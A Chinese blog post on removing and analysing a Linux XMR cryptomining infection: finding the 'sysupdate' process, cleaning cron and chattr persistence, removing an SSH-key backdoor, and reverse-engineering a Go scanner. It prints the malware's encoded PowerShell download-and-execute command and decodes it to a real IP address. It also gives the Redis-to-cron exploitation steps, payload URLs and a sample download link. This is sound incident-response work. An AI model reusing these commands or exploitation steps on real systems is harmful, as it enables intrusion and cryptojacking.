linux服务器上的cad病毒,Linux挖矿病毒的清除与分析
原标题:Linux挖矿病毒的清除与分析
*本文原创作者:xuing,本文属于FreeBuf原创奖励计划,未经许可禁止转载
起因
舍友在宿舍喊着,这服务器好卡啊,难受啊!我调侃他是不是被挖矿了,top命令看一下CPU占用。
一看吓一跳,一个叫做sysupdate的进程占据了绝大部分的CPU资源。CPU使用率接近100%。
看来被挖矿是坐实了。
清除过程 确定病因
这个病毒还不是算很变态,很多挖矿病毒,使用top命令都看不到挖矿程序的进程。
基本可以确定这个占据绝大部分cpu资源的进程sysupdate,就是挖矿程序了,我们需要先找到他。
使用命令:
ps -aux | grep sysupdate
查看病毒的PID号。
为了获取绝对路径,使用:
ls -l /proc/{pid号}/exe
发现sysupdate的绝对路径在/etc/sysupdate。
下载下来,上传到VirusTotal。
如图所示,就是他,挖矿病毒没跑了。
开始清除
首先干掉进程:kill -9 {pid号}
直接rm -f sysupdate会提示类似:
rm: cannot remove 'sysupdate ': Operation not permitted
基于经验,应该是病毒使用了chattr +i的命令。我们只要先执行chattr -i sysupdate,然后就可以正常删除了。
复发
然后..很快就又被创建出来了。应该是有守护进程什么的。
而且如果我们简单分析一下sysupdate,其实他并不是病毒,他只是个XMR挖矿程序。
(懂我意思吧,我们必须得找到他爸爸)。
分析的方法,可以通过findStr、IDA等工具提串或者..运行一下就明白了。下图是我虚拟机运行的截图。
好,我知道大家都不关心这个。
定时任务
我是先去看了下日志..发现什么都没有Orz,应该是被清了。
那还是先来检查下定时任务吧:
crontab -l或者cat /var/spool/cron/root
还可以去查看定时任务的日志。
more /var/log/cron log
太多的话,可以在后面加上| grep -v {要排除的关键字}来排除无用信息。
update.sh分析
找到了这个定时执行的源头,我们来简单分析一下。update.sh的内容和相关样本在文末有提供下载。
在/etc下下载了config.json(挖矿配置)、sysupdate(XMR挖矿软件)、update.sh(本脚本)、networkservice(scanner 扫描并入侵其他的主机)、sysguard(watchdog 用于监控并保证病毒的正常运行以及更新)并保证他们以root权限运行。
干掉别的挖矿病毒(见kill_miner_proc函数)。
创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,算是个后门吧。
然后就是添加定时任务,为文件添加chattr +i,修改IPTABLES,清楚日志,关闭SELinux等等。
修复
1.rm /var/spool/cron/root或者 crontab -r删除定时任务。
2.kill命令将相关进程干掉,用chattr -i和rm命令,将上述/etc下的文件全部删除。
3./root/.ssh/authorized_keys也删掉或者修复。
至于IPTABLES、SELinux的恢复,就看大家自己的需求了。
样本分析:networkservice文件的分析 分析准备
查壳是UPX,直接使用upx -d就能脱壳了。
IDA打开发现结构很乱,Shift+F8打开Program Segmentation。
看到.gopclntab,基本就可以确定是golang编写的。我们这里使用IDAGolangHelper来帮助恢复符号信息。
从Github下载下来后,将脚本拷贝到IDA目录的python文件夹下,重启IDA,菜单选择File- Command..导入go_entry.py并运行。
PS:这里IDA7.0可能会遇到idc_bc695.py文件的MakeStr报错,这里给出看雪的解决办法。
如图所示,前两个按钮是用于检测Go语言的版本,输出在Output window内。我们这里选择Go1.10。然后按下剩下全部按钮进行修复~
再次看Functions window就舒服多了。不过字符串还是看着非常非常难受,因为Golang的字符串是堆成一坨的,用的时候通过偏移以及长度取。IDA没法很好的识别,只能自己从偏移处选定指定长度再按下A键进行标注。如果大佬们有更好的方式或者脚本,请务必赐教。
功能分析
我们接下来就可以从main_main函数开始看,整个程序的大概流程。
1.首先会去hxxps://pixeldra.in/api/download/I9RRye下载ips_cn.txt并保存为dkelc。
2.ips_cn.txt的内容实际上就是大量的国内ip段的十进制表示,为之后的扫描入侵做准备。
程序内包含了大量的exploit。基本都是RCE即远程命令执行,下表做了部分列举:
Redis未授权RCE Hadoop未授权RCE Drupal CVE-2018-7600 ElasticSearch CVE-2015-1427ElasticSearch CVE-2014-3120Redis爆破模块Spring CVE-2018-1273Sqlserver Exploit模块ThinkPHP5 RCEWeblogic CVE-2017-10271
以Redis未授权漏洞为例作分析,首先会去尝试空口令和弱口令爆破,如果成功连接。
首先设置Redis的stop-writes-on-bgsave-error为no。执行Redis命令FlushAll清空数据表。
设置dbfilename为Root,即设置持久化文件名为root,对应的Redis命令为:
config set dbfilename root
紧接着设置dir到定时任务目录/var/spool/cron,对应Redis命令为
config set dir "/var/spool/cron"
执行完上面的命令后,Redis之后的数据就会保存到/var/spool/cron/root,即Root用户的定时任务文件里。
紧接着拼接curl下载并执行远程shell的语句,并调用Save写入文件中。
sysguard
作者叫他是Watchdog,主要功能就是监控自己的各程序,定时任务等是否启动正常。不知道和网上的watchdogs挖矿病毒有没有联系。
在分析过程中,发现不仅仅有Linux版,还有Windows版。
对于windows,会去执行下面的命令:
powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==
base64解密为:
iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')
即下载执行update.ps1,没什么新意,火绒就可以查杀拦截:
windows版的下载地址如下,因为是Go语言编写的,其实内容都是大同小异的:
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1 样本下载 https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
*本文原创作者:xuing,本文属于FreeBuf原创奖励计划,未经许可禁止转载返回搜狐,查看更多
责任编辑:
linux服务器上的cad病毒,Linux挖矿病毒的清除与分析相关推荐
- 项目部署到Linux服务器上 (全)linux服务器安装java mysql 配置
项目部署到Linux服务器上 (全) 1.服务器准备 首先你需要购买一台云服务器 我是领取的阿里云的服务器 选择linux系统 设置好 服务器的密码 忘记可以在 控制台首页 云服务器ECS 里面找到购 ...
- c上传文件到linux服务器,上传文件到Linux服务器
1. Window上传文件到Linux 1.1 图形化界面winscp 适用于传送文件和目录,但要安装额外的软件winscp 1.2 lrzsz套件 适用于传送文件,使用ssh远程登录管理软件xshe ...
- linux服务器上的回收站,为linux系统实现回收站
在linux系统中,经常采用"rm *"或"rm -r *"操作删除一下文件,但是有时某些文件并不是我们想要删除的,但是已经被删除.很多时候都是悲剧的,数据是难 ...
- 一键查杀linux挖矿脚本,这几个linux命令或许帮您查杀挖矿病毒
最近受类似于比特币及区块链技术的影响,有些云服务器被攻入,植入挖矿病毒,利用你的云服务器来挖矿.本文就阐述几个常用的linux命令,假如你碰到这样的病毒,这些linux命令可能会有些帮助.这些命令并不 ...
- Linux服务器上监控网络带宽的18个常用命令
本文介绍了一些可以用来监控网络使用情况的Linux命令行工具.这些工具可以监控通过网络接口传输的数据,并测量目前哪些数据所传输的速度.入站流量和出站流量分开来显示. 一些命令可以显示单个进程所使用的带 ...
- Linux服务器上zsh和bash的对比
使用默认指令列模式(bash shell)的管理员可能想仔细看看zshell或是zsh.由于它于bash相似,功能又有所加强,zsh在Linux社区获得了关注. 那么zsh有什么不同之处呢?首先,zs ...
- linux服务器上nginx日志访问量统计命令
linux服务器上nginx日志访问量统计命令 日志文件所在地方: /var/log/nginx/access_iqueendress.com.log /var/log/nginx/access_m. ...
- Linux服务器上挂载window本地iso镜像文件的方法。
mount //10.7.21.25/linux -o username=Administrator,password=H@nD0ng /mnt/ 10.7.21.25是window的地址 Linux ...
- 使用rsync同步linux服务器上的文件到windows上
需求: 在windows客户端上执行计划任务同步脚本,从linux服务器上同步对应模块下的目录内容到windows客户端的D:\data目录下. 步骤: 1. rsync服务端操作略: (百度一下都有 ...
- 突然远程连接不上mysql_navicat突然连接不上远程linux服务器上的mysql
我linux服务器上的mysql是docker安装的,突然有一天我的navicat连接不上服务器上的mysql,于是开始了下面一系列的修复 1.首先登录服务器上mysql,看是否能正常登录,我发现不能 ...
最新文章
- new JSONArray(ListMap).tostring()问题
- 安德鲁斯Selector简介
- vs2013编译win-32位下的libevent-2.0.21-stable,debug版本
- Python 3.9.0 首个迭代版本发布了
- python井字棋如何判断输赢_井字棋判断输赢的两种方法
- Apache下设置自动将http跳转到https方法
- 【python游戏开发入门】pygame下载与安装教程
- 组态王五层电梯c语言编程,PLC编程实例分享,多图详解五层楼电梯控制系统~...
- 教程:使用Java以编程方式将PLT转换为PDF或图像
- win10计算机策略配置文件,Win10系统如何打开组策略?打开组策略的具体方法
- 泰勒·考恩的《大停滞?》
- Altium Designer 多引脚元件快速画法 Smart Grid Insert
- javascript常见的设计模式
- 解决浏览器下载文件时中文文件名乱码的问题
- JS 大杂烩(持续更新)
- 中国十大虚拟主机服务商
- nand flash驱动调试学习
- Unity周围环境与光效调节[一]天空盒与天空盒反射的调节
- Linux防火墙iptables禁IP与解封IP常用命令
- 《经济学人》也玩新奇,跟着爱丽丝掉进了兔子洞 | 经济学人全球早报精选
热门文章
- ionic app 开发学习
- 台式计算机主板,台式电脑主板开机过程详解
- odps传大文件到oss上_如何导入数据到odps
- c语言不能正常输出128以上的ascii字符,C语言输出ASCII 219无法显示方格
- 对OB28的源代码进行调试
- 小规模票表比对不通过_实用 | 增值税纳税申报比对失败怎么办?操作指南来啦...
- c语言入门经典18个程序,c语言入门经典必背18个程序
- mysql基于SpringBoot的“1818小酒馆”商城网站的设计与实现毕业设计源码192004
- java的输入输出流
- cad特性匹配快捷键命令_cad快捷键命令大全